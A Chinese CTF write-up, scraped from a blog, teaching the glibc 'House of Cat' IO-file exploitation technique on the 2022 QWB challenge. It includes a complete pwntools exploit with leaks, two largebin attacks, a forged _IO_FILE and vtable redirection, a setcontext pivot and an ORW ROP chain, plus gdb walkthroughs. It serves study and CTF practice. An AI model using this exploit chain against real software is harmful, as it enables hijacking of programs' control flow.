house of cat 学习

news/2024/5/9 13:48:49/文章来源:https://blog.csdn.net/m0_51251108/article/details/127290280

目录

  • 前言:
  • 利用条件
  • 例题:2022强网杯House of cat
    • 程序分析:
    • 攻击思路:
    • 利用链:
    • 利用步骤:
      • 1.泄露libc_base和heap_base
      • 2.在堆地址中伪造fake_IO_,第一次largebin attack改stderr为fake_IO
      • 3.第二次largebin attack攻击改topchunk的size触发malloc_assert,执行利用链
    • 调试理解利用链

前言:

catf1y师傅发现的一种IO利用手法,适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中,此处贴出博文https://bbs.pediy.com/thread-273895.htm#msg_header_h3_6

利用条件

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

例题:2022强网杯House of cat

程序分析:

程序要先输入指定字符串登录,逆向分析后可得
要先输入一次 :LOGIN | r00t QWB QWXFadmin
然后每次循环要输入:CAT | r00t QWB QWXF\xff$
(字符串不唯一,满足题目条件即可,注意要用send送,sendline多打一个/n导致我卡了许久)
才能成功进入到堆块管理函数

add功能
用的是calloc申请,size范围为[0x418~0x46f],最多申请0xf(15)次
请添加图片描述
delete功能
存在uaf漏洞
请添加图片描述

edit功能
只能edit两次,且每次最多0x30
请添加图片描述
show功能
常规的show

此外程序开启了沙盒
只能使用orw读取flag的同时,read的fd要为0
可以通过rop调用close(0)来使,调用read读取文件时的fd可以为0
请添加图片描述

攻击思路:

1.先泄露出heap_base和libc_base
2.第一次largebin attack攻击,改stderr为我们的堆地址,在该堆地址上写入fake_IO
3.第二次largebin attack攻击,改top_chunk的size,再申请会触发malloc_assert,而malloc_assert里__fxprintf的它会根据stderr本应调用_IO_file_jumps的vtable结构里的 __xsputn,但我们控制了fake_IO修改了vtable虚表的偏移,导致它调用了_IO_wfile_jumps的__seekoff,加之我们控制内存,满足检测条件,会调用_IO_switch_to_wget_mode,最后调用_IO_WOVERFLOW。(这里都是通过偏移来调用),我们控制最后调用我们想要的函数,控制程序流,getshell

利用链:

_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw

利用步骤:

先贴出exp:

# coding=utf-8
from pwn import *
local_file  = './house_of_cat'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib64/ld-linux-x86-64.so.2'
select = 0
if select == 0:r = process(local_file)libc = ELF(local_libc)
elif select == 1:r = remote('node4.buuoj.cn',25904 )libc = ELF(remote_libc)
else:r = gdb.debug(local_file)libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):gdb.attach(r,cmd)
#------------------------
def add(idx,size,content):sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')sla('plz input your cat choice:\n','1')sla('plz input your cat idx:\n',str(idx))sla('plz input your cat size:\n',str(size))sea('plz input your content:\n',content)
def delete(idx):sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')sla('plz input your cat choice:\n','2')sla('plz input your cat idx:\n',str(idx))
def show(idx):sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')sla('plz input your cat choice:\n','3')sla('plz input your cat idx:\n',str(idx))
def edit(idx,content):sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')sla('plz input your cat choice:\n','4')sla('plz input your cat idx:\n',str(idx))sla('plz input your content:\n',content)
sea('mew mew mew~~~~~~\n','LOGIN | r00t QWB QWXFadmin')
#-----------leak_libc,heap_addr----------------
add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
info('heap_base',heap_base)
pop_rdi=libc_base+0x000000000002a3e5 # pop rdi ; ret
pop_rsi=libc_base+0x000000000002be51 # pop rsi ; ret
pop_rdx_r12=libc_base+0x000000000011f497 # pop rdx ; pop r12 ; ret
ret=libc_base+0x0000000000029cd6 # ret
pop_rax=libc_base+0x0000000000045eb0 # pop rax ; ret
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall=libc_base+0x913B5 #syscall ; ret
#debug()
#-----------fake_IO_file-------------------
fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addrpayload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)flag_addr=heap_base+0x1c00
#-------orw----------------------------
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
#--------------large_bin_attack1----------------------
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')
#debug()
#--------------large_bin_attack2-------------------------
add(5,0x440,'small')
add(7,0x430,'flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(r,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
r.interactive()

1.泄露libc_base和heap_base

先释放一个堆到unsortbin中,再申请一个大于这个size的堆,就会放到largebin中,
此时这个largebin中的chunk同时存在libc地址和heap地址
uaf配合show功能即可泄露两者
请添加图片描述

add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
info('heap_base',heap_base)
pop_rdi=libc_base+0x000000000002a3e5 # pop rdi ; ret
pop_rsi=libc_base+0x000000000002be51 # pop rsi ; ret
pop_rdx_r12=libc_base+0x000000000011f497 # pop rdx ; pop r12 ; ret
ret=libc_base+0x0000000000029cd6 # ret
pop_rax=libc_base+0x0000000000045eb0 # pop rax ; ret
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall=libc_base+0x913B5 #syscall ; ret

2.在堆地址中伪造fake_IO_,第一次largebin attack改stderr为fake_IO

题目中两次edit,对应两次largebin attack

libc2.31后的largebin attack:
我们能控制在large_bin中的chunkA的bk_nextsize为target-0x20(target就是我们要改写的地址)
然后如果有个在unsortbin中的chunkB,A的size要大于B的size,接着我们申请一个大于B的size的堆,
B就会放到largebin里,然后我们可以发现target就被改写为了B这个堆的地址

fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addrpayload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)flag_addr=heap_base+0x1c00
#--------------large_bin_attack1----------------------
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')

3.第二次largebin attack攻击改topchunk的size触发malloc_assert,执行利用链

#-------orw----------------------------
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
#--------------large_bin_attack2-------------------------
add(5,0x440,'small')
add(7,0x430,'flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(r,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))

调试理解利用链

在最后calloc触发前gdb.attach

程序执行到calloc,si进入
请添加图片描述
ni一步步执行到int_malloc,si进入请添加图片描述
一直ni,会执行到sysmalloc,si进入

请添加图片描述
我们继续ni,会发现会执行malloc_assert,(因为我们改了topchunk的size为55)
请添加图片描述

si进入
请添加图片描述

__malloc_assert源码:

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function)
{(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",__progname, __progname[0] ? ": " : "",file, line,function ? function : "", function ? ": " : "",assertion);fflush (stderr);abort ();
}

继续ni,当程序执行到__fxprintf时,si进入
请添加图片描述
执行到locked_vfxprintf,si进入

执行到__vfwprintf_internal,si进入
请添加图片描述
可以发现call的是rbp+0x38,而此时rbp是vtable我们改的指针指向_IO_wfile_jumps+16

其实本应call的vtable是_IO_file_jumps+0x38
也就是_IO_file_jumps的vtable结构里的 __xsputn
请添加图片描述
我们把vtable改为_IO_wfile_jumps+16
因为vtable虚表偏移了,它被指向了_IO_wfile_jumps的__seekoff
请添加图片描述

就是说原本要调用_IO_file_jumps-> __xsputn变为了调用_IO_wfile_jumps->__seekoff
(注意这里_IO_file_jumps,_IO_wfile_jumps不是同一个东西,只是结构相同)

接下来为了调试方便断点设在
gdb.attach(r,‘b* (_IO_wfile_seekoff)’)

_IO_wfile_seekoff源码:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;
......
}

总之就是要满足fp->_wide_data->_IO_write_ptr 大于 fp->_wide_data->_IO_write_base 这个条件
然后调用_IO_switch_to_wget_mode

_IO_switch_to_wget_mode源码:

int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......
}

然后要满足fp->_wide_data->_IO_write_ptr 大于 fp->_wide_data->_IO_write_base会调用_IO_WOVERFLOW

看汇编,其实都是一一对应的
请添加图片描述
最后这里的call qword ptr [rax + 0x18]就是我们要填的我们可以填setcontext+0x3d,或system之类的

假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax+ 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)

可以结合_IO_FILE结构对照看,这是程序原本的_IO_FILE
请添加图片描述
这是我们控制的fake_IO_file
请添加图片描述
这是我们fake_IO_fake

fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE  =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addrpayload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)

我们控制 fp->_wide_data也就是rax1即[rax+0xa0] 为heap_base+0xb30
_wide_data->_IO_write_ptr就是[rax1+0x18],也就是heap_base+0xb30+0x18,值为0
_wide_data->_IO_write_base就是[rax1+0x20],也就是heap_base+0xb30+0x20,值为fake_io_addr+0xb0
满足了大于要求(jbe是小于等于跳转,反着理解一下就行)

接着会有个rax2,即[rax1+0xe0],我们控制为heap_base+0xb40
最后会有个call [rax2+0x18],也就是heap_base+0xb40+0x18的地方的值填我们想要call的函数地址

(当然这只是一种方便空间利用的做法,_wide_data的值我们也可以填其他的)

贴一下CatF1y师傅的图
这里rdi的值就是我们fake_IO的地址
(下面那个水印csdn自动加的,不知道咋去掉)
在这里插入图片描述

接下来是setcontext,orw读取flag的内容,请添加图片描述
跳转至这
请添加图片描述
要关心的gadget也只有这三个

mov rsp, [rdx+0A0h] 
... 
push rcx 
... 
retn

离这最近的设置rdx的汇编是

mov    rdx, qword ptr [rax + 0x20]

也就是 heap_base+0xb30+0x20地址的值我们设置为fake_io_addr+0xb0
(也就是把栈帧变到了到我们堆中rop_orw链的地址)
然后fake_io_addr+0xb0+0xa0的值我们设置为rop_orw链的地址
最后注意到有个push rcx 操作,要多加个ret

最后是orw部分:
先close改fd为0
然后orw读取flag即可调用
(注意open要用syscall,用sym[‘open’]的话会用openat,破坏寄存器的值)

orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)

最后的最后
成功读取flag
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_589209.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

9、乐趣国学—践行《弟子规》的“谨”懂得从容之道(上篇)

✅作者简介:热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:乐趣国学的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 ✨当前专栏:国学周更-心性养成之路…

windows本地编译调试hbase-3.0.0-alpha-2-SNAPSHOT源码

windows本地编译调试hbase-3.0.0-alpha-2-SNAPSHOT源码前言代码下载,编译与调试问题解决前言 研究hbase的原因有两方面:一是自己是做大数据相关的开发工作,hbase这一类的存储是绕不过去的,二是因为研究图数据库janusGraph&#x…

容器安全技术容器管理与应用

容器管理与应用 容器技术之所以在微服务、云计算 等领域得到广泛应用,除了其轻量化的技术外,弹性、敏捷的容器管理和 编排系统支持也是重要因素之一。#### 容器管理 集群化、弹性化和敏捷化是容器应用的显著特点,如何有效地对容器集群进行管…

TOREX | 如何延长设备的电池寿命?——充电IC

适用于支持无线电力传输的锂离子电池 XC6810系列是用于锂离子电池的超小型充电IC,适用于小型的可穿戴设备、可听设备和物联网设备。具有充放电控制、无线供电支持等多种功能。 充电电流为1mA~25mA,适用于小型锂离子电池,可提供3.8V~4.4V的大范…

网课查题公众号题库接口系统-在线直接查题功能

网课查题公众号题库接口系统-在线直接查题功能 本平台优点: 多题库查题、独立后台、响应速度快、全网平台可查、功能最全! 1.想要给自己的公众号获得查题接口,只需要两步! 2.题库: 题库:题库后台&#x…

《设计模式》原型模式

《设计模式》原型模式《设计模式》设计模式的基本原则 《设计模式》单例模式 《设计模式》工厂模式 《设计模式》原型模式 定义: 原型模式就是指用原型实例指定创建对象的种类,并且通过拷贝这些原型,创建新的对象。它是一种创建型设计模式&a…

SpringBoot+Vue+ElementUI实现头像上传

SpringBootVueElementUI实现头像上传1.基础知识(补充)2.后端依赖导入Maven3.后端Controller代码(核心)4.配置代码(核心)5.前端代码6.总结1.基础知识(补充) File协议: FI…

【Transform3D】转换详解(看完就会)

文章内包含个人理解,如有错误请指出。 往期文章 【css动画】移动的小车 【CSS3】 float浮动与position定位常见问题(个人笔记) 如何完成响应式布局,有几种方法?看这个就够了 详解 CSS3中最好用的布局方式——flex…

【python】准点跑路人必备小程序~ 不信你用不到

前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 又到了学Python时刻~ 有时候下班~忙着跑路,忘记关电脑,逮到了会被老板扣工资!!怎么办? python带你制做一个小程序,到点自动关机~ 再也不怕忘关电…

APS计划排产软件在食品饮料行业的应用

近年来,我国饮料行业飞速发展,已经成长为一个庞大、成熟的市场,形成了原料供应—制造—流通完整的产业链条和工业体系。 据报道,2022年上半年,国内饮料行业销量同比下滑6.8%,销售额同比下滑5.5%。消费行业整…

CUDA程序调试的一些经验

目录 1. 存储分配检查 2. 变量名检查 3. 核函数输出检查 4. 核函数局部存储空间回收 最近在做一个点云配准的项目,重新把之前就开始玩的CUDA重新拾起来。本来想着稍微改改代码就能够愉快的跑起来,结果改Bug改的我相当上头。结合我之前的帖子和我最近的一…

使用油猴下载文库

简介 工作中经常需要下载资料,大多数情况下,我们搜索到的资料会在某度文库中,激动的准备存在本地方便以后观摩,又因为页面下方的VIP下载,露出尴尬的笑容。这里介绍两种方式,一种省钱省事,一种免…

matlab之Signal Labeled APP

APP工作流程 (1)导入数据进信号标注器 (2)创建或导入信号标注定义 (3)交互式或自动标记信号 (4)自定义标注视图 (5)仪表板 (6)导出标记…

“箭”指智能家居,卫浴龙头企业箭牌家居即将登陆A股

智哪儿获悉,2022年10月13日,国内卫浴龙头企业箭牌家居集团股份有限公司(以下简称箭牌家居,001322.SZ)刊登首次公开发行股份发行公告,计划近期在深市主板上市。据披露,箭牌家居本次共计发行新股9…

【Google三驾马车系列】GFS原理总结

这里写自定义目录标题GFS基本框架容错机制Master 的容错机制 :操作日志 Checkpoint ShadowMasterChunkServer的容错机制:复制多个副本 checksum一致性问题元数据的一致性Chunk的强一致性其它重要的技术点总结如何避免单一master的性能瓶颈垃圾延迟删除…

Keithley吉时利2182A/Keysight是德34420A纳伏表测量软件-纳伏表软件

1、软件概述 纳伏表程控软件用于需要更高精度的电压测量和温度测量的应用,操作简便、绘制测量波形图直观。 2、软件功能 ◆纳伏表程控软件可以满足GPIB、RS-232两种连接方式。 ◆纳伏表程控软件可以满足CH1、CH2两通道选择。 ◆纳伏表程控软件可以满足多量程及分辨率…

(附源码)计算机毕业设计ssm河南美丽乡村旅游信息网

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

支付模块-微信支付

目录 接口实现 第一步:当点击立即购买生成订单 第二步:根据订单id查询订单信息 第三步:生成微信支付的二维码 第四步:查询订单支付状态 前端实现 ​编辑 1.点击支付 2.订单详情页 接口实现 像这种微服务B2C模式的&#…

【牛客刷题】每日一练——最小K个数

✨hello,进来的小伙伴们,你们好耶!✨ 🍅🍅系列专栏:【牛客刷题】 ✈️✈️本篇内容: 最小K个数! ⛵⛵作者简介:一名双非本科大三在读的科班Java编程小白,道阻且长,你我同…

《漂浮城堡历险记》的云端之旅

《漂浮城堡历险记》是 The Sandbox 游戏制作基金支持的项目之一。让我们告诉你更多关于这个 The Sandbox 元宇宙独有的、令人上瘾的奇幻游戏的信息吧。它已在 The Sandbox Alpha 第 3 季中上线了! 关于体验 在《漂浮城堡历险记》这个冒险战斗游戏中,玩家…